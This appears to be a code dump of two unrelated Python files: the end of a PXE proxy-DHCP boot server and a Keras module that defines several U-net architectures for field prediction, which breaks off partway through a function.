'flags': packet.GetOption("flags"),
'giaddr': packet.GetOption("giaddr"),
'yiaddr':[0,0,0,0],
'siaddr': self.config['tftp']['address'],
'file': map(ord, (self.mac_to_bootfile[mac_addr].ljust(128,"\0"))),
'vendor_class_identifier': map(ord, "PXEClient"),
'server_identifier': map(int, self.config['proxy']["listen_address"].split(".")), # This is incorrect but apparently makes certain Intel cards happy
'bootfile_name': map(ord, self.config['proxy']['filename'] + "\0"),
'tftp_server_name': self.config['tftp']['address']
} )
if self.config['proxy']['vendor_specific_information']:
responsepacket.SetOption('vendor_specific_information', map(ord, self.config['proxy']['vendor_specific_information']))
responsepacket.DeleteOption('ip_address_lease_time')
self.SendDhcpPacketTo(responsepacket, ".".join(map(str,packet.GetOption('ciaddr'))), self.client_port)
self.log('info','****Responded to PXE request (port 67 ) from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
def HandleDhcpDecline(self, packet):
self.log('debug','Noticed a DHCP Decline packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
def HandleDhcpRelease(self, packet):
self.log('debug','Noticed a DHCP Release packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
def HandleDhcpInform(self, packet):
self.log('debug','Noticed a DHCP Inform packet from ' + ":".join(map(self.fmtHex,packet.GetHardwareAddress())))
def fmtHex(self,input):
input=hex(input)
input=str(input)
input=input.replace("0x","")
if len(input)==1:
input="0"+input
return input
| 20,937 | 6,716 |
# Import stuff
import sys
import math
import keras
# Additional imports from keras
from keras import regularizers
from keras import optimizers
from keras.models import Model
from keras.layers import Input
from keras.layers import concatenate
from keras.layers import Conv2D
from keras.layers import MaxPooling2D
from keras.layers import AveragePooling2D
from keras.layers import Flatten
from keras.layers import Dense
from keras.layers import Activation
from keras.layers import Dropout
from keras.layers import Conv2DTranspose
from keras.layers import Lambda
from keras.layers import BatchNormalization
from keras.layers.convolutional import ZeroPadding2D
# Custom imports
from datasets_utils import *
### ************************************************
### I/O convolutional layer
def io_conv_2D(x,
filters = 8,
kernel_size = 3,
strides = 1,
padding = 'same',
activation = 'relu'):
x = Conv2D(filters = filters,
kernel_size = kernel_size,
strides = strides,
padding = padding,
activation = activation)(x)
return x
### ************************************************
### I/O max-pooling layer
def io_maxp_2D(x,
pool_size = 2,
strides = 2):
x = MaxPooling2D(pool_size = pool_size,
strides = strides)(x)
return x
### ************************************************
### I/O avg-pooling layer
def io_avgp_2D(x,
pool_size = 2,
strides = 2):
x = AveragePooling2D(pool_size = pool_size,
strides = strides)(x)
return x
### ************************************************
### I/O convolutional transposed layer
def io_conv_2D_transp(in_layer,
n_filters,
kernel_size,
stride_size):
out_layer = Conv2DTranspose(filters=n_filters,
kernel_size=kernel_size,
strides=stride_size,
padding='same')(in_layer)
return out_layer
### ************************************************
### I/O concatenate + zero-pad
def io_concat_pad(in_layer_1,
in_layer_2,
axis):
# Compute padding sizes
shape1_x = np.asarray(keras.backend.int_shape(in_layer_1)[1])
shape1_y = np.asarray(keras.backend.int_shape(in_layer_1)[2])
shape2_x = np.asarray(keras.backend.int_shape(in_layer_2)[1])
shape2_y = np.asarray(keras.backend.int_shape(in_layer_2)[2])
dx = shape2_x - shape1_x
dy = shape2_y - shape1_y
# Pad and concat
pad_layer = ZeroPadding2D(((dx,0),(dy,0)))(in_layer_1)
out_layer = concatenate([pad_layer, in_layer_2], axis=axis)
return out_layer
### ************************************************
### Classic U-net for field prediction
def U_net(train_im,
train_sol,
valid_im,
valid_sol,
test_im,
n_filters_initial,
kernel_size,
kernel_transpose_size,
pool_size,
stride_size,
learning_rate,
batch_size,
n_epochs,
height,
width,
n_channels):
# Generate inputs
conv0 = Input((height,width,n_channels))
# 2 convolutions + maxPool
conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size)
conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size)
pool1 = io_maxp_2D(conv1, pool_size)
# 2 convolutions + maxPool
conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size)
conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size)
pool2 = io_maxp_2D(conv2, pool_size)
# 2 convolutions + maxPool
conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size)
conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size)
pool3 = io_maxp_2D(conv3, pool_size)
# 2 convolutions + maxPool
conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size)
conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size)
pool4 = io_maxp_2D(conv4, pool_size)
# 2 convolutions
conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size)
conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size)
pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2))
# 1 transpose convolution and concat + 2 convolutions
up6 = io_concat_pad(pre6, conv4, 3)
conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size)
conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2))
up7 = io_concat_pad(pre7, conv3, 3)
conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size)
conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size)
pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2))
# 1 transpose convolution and concat + 2 convolutions
up8 = io_concat_pad(pre8, conv2, 3)
conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size)
conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2))
up9 = io_concat_pad(pre9, conv1, 3)
conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size)
conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size)
# final 1x1 convolution
conv10 = io_conv_2D(conv9, 3, 1)
# construct model
model = Model(inputs=[conv0], outputs=[conv10])
# Print info about model
model.summary()
# Set training parameters
model.compile(loss='mean_squared_error',
optimizer=optimizers.Adam(lr=learning_rate),
metrics=['mean_absolute_error'])
# Train network
train_model = model.fit(train_im, train_sol,
batch_size=batch_size, epochs=n_epochs,
validation_data=(valid_im, valid_sol))
return(model, train_model)
### ************************************************
### Stacked U-nets
def StackedU_net(train_im,
train_sol,
valid_im,
valid_sol,
test_im,
n_filters_initial,
kernel_size,
kernel_size_2,
kernel_transpose_size,
pool_size,
stride_size,
learning_rate,
batch_size,
n_epochs,
height,
width,
n_channels):
# Generate inputs
conv0 = Input((height,width,n_channels))
# 2 convolutions + maxPool
conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size)
conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size)
pool1 = io_maxp_2D(conv1, pool_size)
# 2 convolutions + maxPool
conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size)
conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size)
pool2 = io_maxp_2D(conv2, pool_size)
# 2 convolutions + maxPool
conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size)
conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size)
pool3 = io_maxp_2D(conv3, pool_size)
# 2 convolutions + maxPool
conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size)
conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size)
pool4 = io_maxp_2D(conv4, pool_size)
# 2 convolutions
conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size)
conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2))
up6 = io_concat_pad(pre6, conv4, 3)
conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size)
conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2))
up7 = io_concat_pad(pre7, conv3, 3)
conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size)
conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2))
up8 = io_concat_pad(pre8, conv2, 3)
conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size)
conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2))
up9 = io_concat_pad(pre9, conv1, 3)
conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size)
conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size)
# final 1x1 convolution
conv10 = io_conv_2D(conv9, 3, 1)
# 2 convolutions + maxPool
conv21 = io_conv_2D(conv10, n_filters_initial*(2**0), kernel_size_2)
conv21 = io_conv_2D(conv21, n_filters_initial*(2**0), kernel_size_2)
pool21 = io_maxp_2D(conv21, pool_size)
# 2 convolutions + maxPool
conv22 = io_conv_2D(pool21, n_filters_initial*(2**1), kernel_size_2)
conv22 = io_conv_2D(conv22, n_filters_initial*(2**1), kernel_size_2)
pool22 = io_maxp_2D(conv22, pool_size)
# 2 convolutions + maxPool
conv23 = io_conv_2D(pool22, n_filters_initial*(2**2), kernel_size_2)
conv23 = io_conv_2D(conv23, n_filters_initial*(2**2), kernel_size_2)
pool23 = io_maxp_2D(conv23, pool_size)
# 2 convolutions + maxPool
conv24 = io_conv_2D(pool23, n_filters_initial*(2**3), kernel_size_2)
conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size_2)
pool24 = io_maxp_2D(conv24, pool_size)
# 2 convolutions
conv25 = io_conv_2D(pool24, n_filters_initial*(2**4), kernel_size_2)
conv25 = io_conv_2D(conv25, n_filters_initial*(2**4), kernel_size_2)
# 1 transpose convolution and concat + 2 convolutions
pre26 = io_conv_2D_transp(conv25, n_filters_initial*(2**3), (2,2), (2,2))
up26 = io_concat_pad(pre26, conv24, 3)
conv26 = io_conv_2D(up26, n_filters_initial*(2**3), kernel_size_2)
conv26 = io_conv_2D(conv26, n_filters_initial*(2**3), kernel_size_2)
pre27 = io_conv_2D_transp(conv26, n_filters_initial*(2**2), (2,2), (2,2))
up27 = io_concat_pad(pre27, conv23, 3)
conv27 = io_conv_2D(up27, n_filters_initial*(2**2), kernel_size_2)
conv27 = io_conv_2D(conv27, n_filters_initial*(2**2), kernel_size_2)
pre28 = io_conv_2D_transp(conv27, n_filters_initial*(2**1), (2,2), (2,2))
up28 = io_concat_pad(pre28, conv22, 3)
conv28 = io_conv_2D(up28, n_filters_initial*(2**1), kernel_size_2)
conv28 = io_conv_2D(conv28, n_filters_initial*(2**1), kernel_size_2)
# 1 transpose convolution and concat + 2 convolutions
pre29 = io_conv_2D_transp(conv28, n_filters_initial*(2**0), (2,2), (2,2))
up29 = io_concat_pad(pre29, conv21, 3)
conv29 = io_conv_2D(up29, n_filters_initial*(2**0), kernel_size_2)
conv29 = io_conv_2D(conv29, n_filters_initial*(2**0), kernel_size_2)
# final 1x1 convolution
conv20 = io_conv_2D(conv29, 3, 1)
# construct model
model = Model(inputs=[conv0], outputs=[conv20])
# Print info about model
model.summary()
# Set training parameters
model.compile(loss='mean_squared_error',
optimizer=optimizers.Adam(lr=learning_rate),
metrics=['mean_absolute_error'])
# Train network
train_model = model.fit(train_im, train_sol,
batch_size=batch_size, epochs=n_epochs,
validation_data=(valid_im, valid_sol))
return(model, train_model)
### ************************************************
### Coupled U-nets
def CpU_net(train_im,
train_sol,
valid_im,
valid_sol,
test_im,
n_filters_initial,
kernel_size,
kernel_transpose_size,
pool_size,
stride_size,
learning_rate,
batch_size,
n_epochs,
height,
width,
n_channels):
# Generate inputs
conv0 = Input((height,width,n_channels))
# 2 convolutions + maxPool
conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size)
conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size)
pool1 = io_maxp_2D(conv1, pool_size)
# 2 convolutions + maxPool
conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size)
conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size)
pool2 = io_maxp_2D(conv2, pool_size)
# 2 convolutions + maxPool
conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size)
conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size)
pool3 = io_maxp_2D(conv3, pool_size)
# 2 convolutions + maxPool
conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size)
conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size)
pool4 = io_maxp_2D(conv4, pool_size)
# 2 convolutions
conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size)
conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2))
up6 = io_concat_pad(pre6, conv4, 3)
conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size)
conv6 = io_conv_2D(conv6, n_filters_initial*(2**3), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre7 = io_conv_2D_transp(conv6, n_filters_initial*(2**2), (2,2), (2,2))
up7 = io_concat_pad(pre7, conv3, 3)
conv7 = io_conv_2D(up7, n_filters_initial*(2**2), kernel_size)
conv7 = io_conv_2D(conv7, n_filters_initial*(2**2), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre8 = io_conv_2D_transp(conv7, n_filters_initial*(2**1), (2,2), (2,2))
up8 = io_concat_pad(pre8, conv2, 3)
conv8 = io_conv_2D(up8, n_filters_initial*(2**1), kernel_size)
conv8 = io_conv_2D(conv8, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre9 = io_conv_2D_transp(conv8, n_filters_initial*(2**0), (2,2), (2,2))
up9 = io_concat_pad(pre9, conv1, 3)
conv9 = io_conv_2D(up9, n_filters_initial*(2**0), kernel_size)
conv9 = io_conv_2D(conv9, n_filters_initial*(2**0), kernel_size)
# final 1x1 convolution
conv10 = io_conv_2D(conv9, 3, 1)
##### the output of 1-st U-net
# 2 convolutions + maxPool
conv21 = io_conv_2D(concatenate([conv0, conv10], axis=3), n_filters_initial*(2**0), kernel_size)
conv21 = io_conv_2D(conv21, n_filters_initial*(2**0), kernel_size)
pool21 = io_maxp_2D(conv21, pool_size)
# 2 convolutions + maxPool
conv22 = io_conv_2D(concatenate([pool1, pool21], axis=3), n_filters_initial*(2**1), kernel_size)
conv22 = io_conv_2D(conv22, n_filters_initial*(2**1), kernel_size)
pool22 = io_maxp_2D(conv22, pool_size)
# 2 convolutions + maxPool
conv23 = io_conv_2D(concatenate([pool2, pool22], axis=3), n_filters_initial*(2**2), kernel_size)
conv23 = io_conv_2D(conv23, n_filters_initial*(2**2), kernel_size)
pool23 = io_maxp_2D(conv23, pool_size)
# 2 convolutions + maxPool
conv24 = io_conv_2D(concatenate([pool3, pool23], axis=3), n_filters_initial*(2**3), kernel_size)
conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size)
pool24 = io_maxp_2D(conv24, pool_size)
# 2 convolutions
conv25 = io_conv_2D(concatenate([pool4, pool24], axis=3), n_filters_initial*(2**4), kernel_size)
conv25 = io_conv_2D(conv25, n_filters_initial*(2**4), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre26 = io_conv_2D_transp(concatenate([conv5, conv25], axis=3), n_filters_initial*(2**3), (2,2), (2,2))
up26 = io_concat_pad(pre26, conv24, 3)
conv26 = io_conv_2D(up26, n_filters_initial*(2**3), kernel_size)
conv26 = io_conv_2D(conv26, n_filters_initial*(2**3), kernel_size)
pre27 = io_conv_2D_transp(concatenate([conv6, conv26], axis=3), n_filters_initial*(2**2), (2,2), (2,2))
up27 = io_concat_pad(pre27, conv23, 3)
conv27 = io_conv_2D(up27, n_filters_initial*(2**2), kernel_size)
conv27 = io_conv_2D(conv27, n_filters_initial*(2**2), kernel_size)
pre28 = io_conv_2D_transp(concatenate([conv7, conv27], axis=3), n_filters_initial*(2**1), (2,2), (2,2))
up28 = io_concat_pad(pre28, conv22, 3)
conv28 = io_conv_2D(up28, n_filters_initial*(2**1), kernel_size)
conv28 = io_conv_2D(conv28, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre29 = io_conv_2D_transp(concatenate([conv8, conv28], axis=3), n_filters_initial*(2**0), (2,2), (2,2))
up29 = io_concat_pad(pre29, conv21, 3)
conv29 = io_conv_2D(up29, n_filters_initial*(2**0), kernel_size)
conv29 = io_conv_2D(conv29, n_filters_initial*(2**0), kernel_size)
# final 1x1 convolution
conv20 = io_conv_2D(concatenate([conv9, conv29], axis=3), 3, 1)
# construct model
model = Model(inputs=[conv0], outputs=[conv20])
# Print info about model
model.summary()
# Set training parameters
model.compile(loss='mean_squared_error',
optimizer=optimizers.Adam(lr=learning_rate),
metrics=['mean_absolute_error'])
# Train network
train_model = model.fit(train_im, train_sol,
batch_size=batch_size, epochs=n_epochs,
validation_data=(valid_im, valid_sol))
return(model, train_model)
### ************************************************
### Multilevel U-nets
def Multi_level_U_net(train_im,
train_sol,
valid_im,
valid_sol,
test_im,
n_filters_initial,
kernel_size,
kernel_transpose_size,
pool_size,
stride_size,
learning_rate,
batch_size,
n_epochs,
height,
width,
n_channels):
# Generate inputs
conv0 = Input((height,width,n_channels))
# 2 convolutions + maxPool
conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size)
conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size)
pool1 = io_maxp_2D(conv1, pool_size)
# 2 convolutions + maxPool
conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size)
conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size)
pool2 = io_maxp_2D(conv2, pool_size)
# 2 convolutions + maxPool
conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size)
conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size)
########################################################################################################################
##Here is the bottle of mini U-net
pre4 = io_conv_2D_transp(conv3, n_filters_initial*(2**1), (2,2), (2,2))
# 1 transpose convolution and concat + 2 convolutions
up4 = io_concat_pad(pre4, conv2, 3)
conv4 = io_conv_2D(up4, n_filters_initial*(2**1), kernel_size)
conv4 = io_conv_2D(conv4, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre5 = io_conv_2D_transp(conv4, n_filters_initial*(2**0), (2,2), (2,2))
up5 = io_concat_pad(pre5, conv1, 3)
conv5 = io_conv_2D(up5, n_filters_initial*(2**0), kernel_size)
conv5 = io_conv_2D(conv5, n_filters_initial*(2**0), kernel_size)
# output of mini U-net
conv6 = io_conv_2D(conv5, 3, 1)
########################################################################################################################
pool3 = io_maxp_2D(conv3, pool_size)
conv24 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size)
conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size)
# Here is the bottleneck of small U-net
pre25 = io_conv_2D_transp(conv24, n_filters_initial*(2**2), (2,2), (2,2))
up25 = io_concat_pad(pre25, conv3, 3)
conv25 = io_conv_2D(up25, n_filters_initial*(2**2), kernel_size)
conv25 = io_conv_2D(conv25, n_filters_initial*(2**2), kernel_size)
pre26 = io_conv_2D_transp(conv25, n_filters_initial*(2**1), (2,2), (2,2))
up26 = io_concat_pad(pre26, conv2, 3)#an alternate is to concatenate pre26 with conv2
conv26 = io_conv_2D(up26, n_filters_initial*(2**1), kernel_size)
conv26 = io_conv_2D(conv26, n_filters_initial*(2**1), kernel_size)
pre27 = io_conv_2D_transp(conv26, n_filters_initial*(2**0), (2,2), (2,2))
up27 = io_concat_pad(pre27, conv1, 3)#an alternate is to concatenate pre26 with conv1
conv27 = io_conv_2D(up27, n_filters_initial*(2**0), kernel_size)
conv27 = io_conv_2D(conv27, n_filters_initial*(2**0), kernel_size)
# output of small U-net
conv28 = io_conv_2D(conv27, 3, 1)
########################################################################################################################
pool24 = io_maxp_2D(conv24, pool_size)
conv35 = io_conv_2D(pool24, n_filters_initial*(2**4), kernel_size)
conv35 = io_conv_2D(conv35, n_filters_initial*(2**4), kernel_size)
# Here is the bottleneck of U-net
pre36 = io_conv_2D_transp(conv35, n_filters_initial*(2**3), (2,2), (2,2))
up36 = io_concat_pad(pre36, conv24, 3)
conv36 = io_conv_2D(up36, n_filters_initial*(2**3), kernel_size)
conv36 = io_conv_2D(conv36, n_filters_initial*(2**3), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre37 = io_conv_2D_transp(conv36, n_filters_initial*(2**2), (2,2), (2,2))## conv36, conv26?
up37 = io_concat_pad(pre37, conv3, 3)#an alternate is to concatenate pre37 with conv3
conv37 = io_conv_2D(up37, n_filters_initial*(2**2), kernel_size)
conv37 = io_conv_2D(conv37, n_filters_initial*(2**2), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre38 = io_conv_2D_transp(conv37, n_filters_initial*(2**1), (2,2), (2,2))
up38 = io_concat_pad(pre38, conv2, 3)#two alternates are to concatenate pre38 with conv2 or conv4
conv38 = io_conv_2D(up38, n_filters_initial*(2**1), kernel_size)
conv38 = io_conv_2D(conv38, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre39 = io_conv_2D_transp(conv38, n_filters_initial*(2**0), (2,2), (2,2))
up39 = io_concat_pad(pre39, conv1, 3)#two alternates are concatenate pre39 with conv1 or conv5 or conv27
conv39 = io_conv_2D(up39, n_filters_initial*(2**0), kernel_size)
conv39 = io_conv_2D(conv39, n_filters_initial*(2**0), kernel_size)
# final 1x1 convolution
conv30 = io_conv_2D(conv39, 3, 1)
########################################################################################################################
# average the output of three U-nets
conv10 = keras.layers.Average()([conv6, conv28, conv30])
#concatenate the output of three U-nets
#conv10 = io_conv_2D(concatenate([conv6, conv28, conv30], axis=3), 3, 1)
# construct model
model = Model(inputs=[conv0], outputs=[conv10])
# Print info about model
model.summary()
# Set training parameters
model.compile(loss='mean_squared_error',
optimizer=optimizers.Adam(lr=learning_rate),
metrics=['mean_squared_error'])
# Train network
train_model = model.fit(train_im, train_sol,
batch_size=batch_size, epochs=n_epochs,
validation_data=(valid_im, valid_sol))
return(model, train_model)
### ************************************************
### Inverse multilevel U-net
def InvMU_net(train_im,
train_sol,
valid_im,
valid_sol,
test_im,
n_filters_initial,
kernel_size,
kernel_transpose_size,
pool_size,
stride_size,
learning_rate,
batch_size,
n_epochs,
height,
width,
n_channels):
# Generate inputs
conv0 = Input((height,width,n_channels))
# 2 convolutions + maxPool
conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size)
conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size)
pool1 = io_maxp_2D(conv1, pool_size)
# 2 convolutions + maxPool
conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size)
conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size)
pool2 = io_maxp_2D(conv2, pool_size)
# 2 convolutions + maxPool
conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size)
conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size)
pool3 = io_maxp_2D(conv3, pool_size)
conv24 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size)
conv24 = io_conv_2D(conv24, n_filters_initial*(2**3), kernel_size)
pool24 = io_maxp_2D(conv24, pool_size)
conv35 = io_conv_2D(pool24, n_filters_initial * (2 ** 4), kernel_size)
conv35 = io_conv_2D(conv35, n_filters_initial * (2 ** 4), kernel_size)
# Here is the bottleneck of U-net
pre36 = io_conv_2D_transp(conv35, n_filters_initial * (2 ** 3), (2, 2), (2, 2))
up36 = io_concat_pad(pre36, conv24, 3)
conv36 = io_conv_2D(up36, n_filters_initial * (2 ** 3), kernel_size)
conv36 = io_conv_2D(conv36, n_filters_initial * (2 ** 3), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre37 = io_conv_2D_transp(conv36, n_filters_initial * (2 ** 2), (2, 2), (2, 2)) ## conv36, conv26?
up37 = io_concat_pad(pre37, conv3, 3) # an alternate is to concatenate pre37 with conv3
conv37 = io_conv_2D(up37, n_filters_initial * (2 ** 2), kernel_size)
conv37 = io_conv_2D(conv37, n_filters_initial * (2 ** 2), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre38 = io_conv_2D_transp(conv37, n_filters_initial * (2 ** 1), (2, 2), (2, 2))
up38 = io_concat_pad(pre38, conv2, 3) # two alternates are to concatenate pre38 with conv2 or conv4
conv38 = io_conv_2D(up38, n_filters_initial * (2 ** 1), kernel_size)
conv38 = io_conv_2D(conv38, n_filters_initial * (2 ** 1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre39 = io_conv_2D_transp(conv38, n_filters_initial * (2 ** 0), (2, 2), (2, 2))
up39 = io_concat_pad(pre39, conv1, 3) # two alternates are concatenate pre39 with conv1 or conv5 or conv27
conv39 = io_conv_2D(up39, n_filters_initial * (2 ** 0), kernel_size)
conv39 = io_conv_2D(conv39, n_filters_initial * (2 ** 0), kernel_size)
# final 1x1 convolution
conv30 = io_conv_2D(conv39, 3, 1)
conv30 = Lambda(lambda x: x * 1.5)(conv30)
########################################################################################################################
pre25 = io_conv_2D_transp(conv24, n_filters_initial * (2 ** 2), (2, 2), (2, 2))
up25 = io_concat_pad(pre25, conv37, 3)
conv25 = io_conv_2D(up25, n_filters_initial * (2 ** 2), kernel_size)
conv25 = io_conv_2D(conv25, n_filters_initial * (2 ** 2), kernel_size)
pre26 = io_conv_2D_transp(conv25, n_filters_initial * (2 ** 1), (2, 2), (2, 2))
up26 = io_concat_pad(pre26, conv38, 3)
conv26 = io_conv_2D(up26, n_filters_initial * (2 ** 1), kernel_size)
conv26 = io_conv_2D(conv26, n_filters_initial * (2 ** 1), kernel_size)
pre27 = io_conv_2D_transp(conv26, n_filters_initial * (2 ** 0), (2, 2), (2, 2))
up27 = io_concat_pad(pre27, conv39, 3) # an alternate is to concatenate pre26 with conv1
conv27 = io_conv_2D(up27, n_filters_initial * (2 ** 0), kernel_size)
conv27 = io_conv_2D(conv27, n_filters_initial * (2 ** 0), kernel_size)
# output of small U-net
conv28 = io_conv_2D(conv27, 3, 1)
########################################################################################################################
pre4 = io_conv_2D_transp(conv3, n_filters_initial*(2**1), (2,2), (2,2))
# 1 transpose convolution and concat + 2 convolutions
up4 = io_concat_pad(pre4, conv38, 3)
conv4 = io_conv_2D(up4, n_filters_initial*(2**1), kernel_size)
conv4 = io_conv_2D(conv4, n_filters_initial*(2**1), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre5 = io_conv_2D_transp(conv4, n_filters_initial*(2**0), (2,2), (2,2))
up5 = io_concat_pad(pre5, conv39, 3)
conv5 = io_conv_2D(up5, n_filters_initial*(2**0), kernel_size)
conv5 = io_conv_2D(conv5, n_filters_initial*(2**0), kernel_size)
# output of mini U-net
conv6 = io_conv_2D(conv5, 3, 1)
conv6 = Lambda(lambda x: x * 0.5)(conv6)
########################################################################################################################
# average the output of three U-nets
conv10 = keras.layers.Average()([conv6, conv28, conv30])
# construct model
model = Model(inputs=[conv0], outputs=[conv10])
# Print info about model
model.summary()
# Set training parameters
model.compile(loss='mean_squared_error',
optimizer=optimizers.Adam(lr=learning_rate),
metrics=['mean_squared_error'])
# Train network
train_model = model.fit(train_im, train_sol,
batch_size=batch_size, epochs=n_epochs,
validation_data=(valid_im, valid_sol))
return(model, train_model)
### ************************************************
### Parallel U-nets
def Parallel_U_net(train_im,
train_sol,
valid_im,
valid_sol,
test_im,
n_filters_initial,
kernel_size,
kernel_size_2,
kernel_transpose_size,
pool_size,
stride_size,
learning_rate,
batch_size,
n_epochs,
height,
width,
n_channels):
# Generate inputs
conv0 = Input((height,width,n_channels))
# 2 convolutions + maxPool
conv1 = io_conv_2D(conv0, n_filters_initial*(2**0), kernel_size)
conv1 = io_conv_2D(conv1, n_filters_initial*(2**0), kernel_size)
pool1 = io_maxp_2D(conv1, pool_size)
# 2 convolutions + maxPool
conv2 = io_conv_2D(pool1, n_filters_initial*(2**1), kernel_size)
conv2 = io_conv_2D(conv2, n_filters_initial*(2**1), kernel_size)
pool2 = io_maxp_2D(conv2, pool_size)
# 2 convolutions + maxPool
conv3 = io_conv_2D(pool2, n_filters_initial*(2**2), kernel_size)
conv3 = io_conv_2D(conv3, n_filters_initial*(2**2), kernel_size)
pool3 = io_maxp_2D(conv3, pool_size)
# 2 convolutions + maxPool
conv4 = io_conv_2D(pool3, n_filters_initial*(2**3), kernel_size)
conv4 = io_conv_2D(conv4, n_filters_initial*(2**3), kernel_size)
pool4 = io_maxp_2D(conv4, pool_size)
# 2 convolutions
conv5 = io_conv_2D(pool4, n_filters_initial*(2**4), kernel_size)
conv5 = io_conv_2D(conv5, n_filters_initial*(2**4), kernel_size)
# 1 transpose convolution and concat + 2 convolutions
pre6 = io_conv_2D_transp(conv5, n_filters_initial*(2**3), (2,2), (2,2))
up6 = io_concat_pad(pre6, conv4, 3)
conv6 = io_conv_2D(up6, n_filters_initial*(2**3), kernel_size)
